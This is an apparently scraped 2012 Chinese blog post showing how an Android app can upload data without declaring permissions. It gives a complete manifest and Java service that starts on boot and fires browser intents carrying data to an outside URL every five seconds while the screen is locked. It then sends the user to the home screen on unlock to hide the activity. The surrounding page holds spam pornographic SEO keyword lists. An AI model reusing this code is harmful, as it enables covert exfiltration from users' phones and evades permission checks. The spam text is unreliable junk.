<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      拋磚引玉 之 誰動了我的流量(0權限上傳數據)

      上次寫過一篇文章  拋磚引玉 之 誰動了我的隱私(android用戶隱私窺探)  描述如何讀取系統log緩沖區但還存在權限提示問題。

       

      這次來個稍微好點的,真正的0權限上傳數據

      同上次講的一樣,雖然大部分用戶在安裝app時對權限警告視而不見,但相信以后用戶會對權限問題越來越重視的。

      這次咱們先真正的來一次0權限上傳熱熱身。

       

      一、原理

      首先利用的還是那個開機啟動bug。

      然后,在手機鎖屏時上傳數據。

      如何上傳數據呢,為了避免權限咱們得瞞天過海。

       

      我們知道,在Intent轉向的時候,可以轉到標記為ACTION_VIEW的activity,而瀏覽器都有這個標記,可以傳一個uri過去。

      soga,說到這里,,明白了吧。就是使用http的GET傳參,雖然只能傳明文,但已經夠了,更何況一次能傳輸的字節也還是很客觀的。

      至于傳什么,每個想實現這種功能的人都有其目的吧。

       

      二、實現

      首先是清單文件,不需要聲明任何權限,只需要寫一個廣播接收者和一個服務即可

      <?xml version="1.0" encoding="utf-8"?>
      <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package
      ="org.igeek.hack"
      android:versionCode
      ="1"
      android:versionName
      ="1.0">
      <uses-sdk android:minSdkVersion="8" />


      <application android:icon="@drawable/icon" android:label="@string/app_name">

      <receiver android:name =".reciver.HackReceiver">
      <intent-filter android:priority ="1000">
      <action android:name ="android.intent.action.BOOT_COMPLETED"/>
      </intent-filter >
      </receiver >

      <service android:name=".service.HackerService"/>

      </application>
      </manifest>


       

      然后就是廣播接收者的實現,很簡單,單純的開啟一個服務

      package org.igeek.hack.reciver;


      import org.igeek.hack.service.HackerService;

      import android.content.BroadcastReceiver;
      import android.content.Context;
      import android.content.Intent;

      /**
      *
      @author 作者 E-mail:hangxin1940@gmail.com
      *
      @version 創建時間:2012-01-13 下午10:32:21
      * 類說明
      */
      public class HackReceiver extends BroadcastReceiver {


      @Override
      public void onReceive(Context context, Intent intent) {
      Intent it=new Intent(context, HackerService.class);
      context.startService(it);
      }


      }


       最后,就是關鍵部分,服務的實現
       

        1 package org.igeek.hack.service;
      2
      3 import java.util.Random;
      4 import android.app.KeyguardManager;
      5 import android.app.Service;
      6 import android.content.BroadcastReceiver;
      7 import android.content.Context;
      8 import android.content.Intent;
      9 import android.content.IntentFilter;
      10 import android.net.Uri;
      11 import android.os.Handler;
      12 import android.os.IBinder;
      13 import android.util.Log;
      14
      15 /**
      16 *
      17 * @author 作者 E-mail:hangxin1940@gmail.com
      18 * @version 創建時間:2012-01-13 下午10:42:11
      19 * 類說明
      20 */
      21 public class HackerService extends Service {
      22 private ScreenOnBroadcastReciver soReciver;
      23 private ScreenOFFBroadcastReciver sfReciver;
      24 private Handler handler;
      25
      26 final static String LOG_TAG="hack";
      27 KeyguardManager keyguardManager;
      28 Intent it;
      29
      30 //GET提交地址
      31 final String HACK_URL="http://www.igeek.org/hack?info=";
      32
      33
      34
      35 private Runnable r=new Runnable() {
      36
      37 @Override
      38 public void run() {
      39
      40
      41 //如果是鎖屏狀態
      42 if(keyguardManager.inKeyguardRestrictedInputMode()){
      43
      44 //GET上傳,內容隨你
      45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
      46
      47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
      48 Uri uri=Uri.parse(HACK_URL+hackInfo);
      49 it.setData(uri);
      50 startActivity(it);
      51 Log.i(LOG_TAG,"提交數據->"+HACK_URL+hackInfo);
      52
      53 //每隔5秒,執行一次上傳
      54 handler.postDelayed(r, 5000);
      55 }
      56 }
      57 };
      58
      59
      60
      61 @Override
      62 public void onStart(Intent intent, int startId) {
      63 super.onStart(intent, startId);
      64
      65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
      66 it=new Intent(Intent.ACTION_VIEW);
      67
      68 handler=new Handler();
      69
      70 Log.i(LOG_TAG, "開機完成,注冊廣播接收者");
      71 soReciver=new ScreenOnBroadcastReciver();
      72 sfReciver=new ScreenOFFBroadcastReciver();
      73
      74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
      75 registerReceiver(soReciver, onIntentFilter);
      76
      77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
      78 registerReceiver(sfReciver, offIntentFilter);
      79 }
      80
      81
      82 @Override
      83 public IBinder onBind(Intent intent) {
      84 return null;
      85 }
      86
      87 /**
      88 * 解鎖廣播接收者
      89 * @author hang
      90 *
      91 */
      92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
      93
      94 @Override
      95 public void onReceive(Context context, Intent intent) {
      96
      97 Log.i(LOG_TAG, "屏幕解開");
      98 handler.removeCallbacks(r);
      99 intent.setAction(Intent.ACTION_MAIN);
      100 intent.addCategory(Intent.CATEGORY_HOME);
      101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
      102
      103 Log.i(LOG_TAG, "轉向HOME");
      104 startActivity(intent);
      105
      106 }
      107
      108 }
      109
      110 /**
      111 * 鎖屏廣播接收者
      112 * @author hang
      113 *
      114 */
      115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
      116
      117 @Override
      118 public void onReceive(final Context context, Intent intent) {
      119
      120
      121
      122 Log.i(LOG_TAG, "屏幕鎖住");
      123
      124 //500ms后開始執行上傳數據
      125 handler.postDelayed(r, 500);
      126 }
      127
      128 }
      129 }

       

      三、效果

      哈,運行下試試,關機。。。開機。。。鎖屏。。解鎖。。沒發現什么反應啊。。。再看看程序管理。。Hack程序也沒有任何權限提示啊。。。

       

      真的這樣嗎?來看看log

      you see? 流量就這么悄悄的耗了。

       

      本工程包地址:hack_0p_upload.zip

       

      結束語

      這么流氓的伎倆,相信誰都不想碰到,google market也混亂的一塌糊涂,android app混亂的不成樣子,大家還是擦亮雙眼,安全,一定要注意的。

      另外,關于開機啟動的這個bug,貌似360的手機安全軟件可以檢測出來。其它的我沒試,因為我很懶,我從來不裝安全軟件。

       

      最后,請關注我的 拋磚引玉 系列,會有更多精彩內容

       

      原創,轉載請注明  http://hangxin1940.cnblogs.com

      這里僅當拋磚引玉,本人水平有限,難免有些疏漏或者錯誤,還請指正!!!

      posted on 2012-01-14 01:40  黑暗伯爵  閱讀(1983)  評論(1)    收藏  舉報

      導航

      主站蜘蛛池模板: 麻豆一区二区中文字幕| 亚洲中文字幕成人综合网| 亚洲高清偷拍一区二区三区| 国产在线亚州精品内射| 国产精品久久久久aaaa| 男女啪啪高潮激烈免费版| 亚洲国产熟女一区二区三区| 日韩亚洲中文图片小说| 人妻无码中文字幕| 欧洲精品一区二区三区久久| 成人国产乱对白在线观看| 亚洲乱码精品久久久久..| 好吊视频在线一区二区三区| 久久久久青草线蕉亚洲| 人妻系列中文字幕精品| 动漫av网站免费观看| 精品无码一区二区三区在线| 国产精品日韩专区第一页| 亚洲国产午夜精品福利| 日韩V欧美V中文在线| 黄色三级亚洲男人的天堂| 国产精品13页| 中文字幕亚洲人妻系列| 日韩一区二区三区东京热| 国产精品无遮挡猛进猛出 | 特级精品毛片免费观看| 国产精品乱码久久久久久小说| 精品国产一区二区在线视| 亚洲韩欧美第25集完整版| 中文字幕国产日韩精品| 国产成人人综合亚洲欧美丁香花| 337p粉嫩大胆色噜噜噜| 九九热在线免费视频精品| 国产不卡免费一区二区| 丰满少妇内射一区| 亚洲少妇一区二区三区老| 亚洲男人在线天堂| 国产精品毛片在线看不卡| 一区二区中文字幕av| 正阳县| 国产精品一线天在线播放|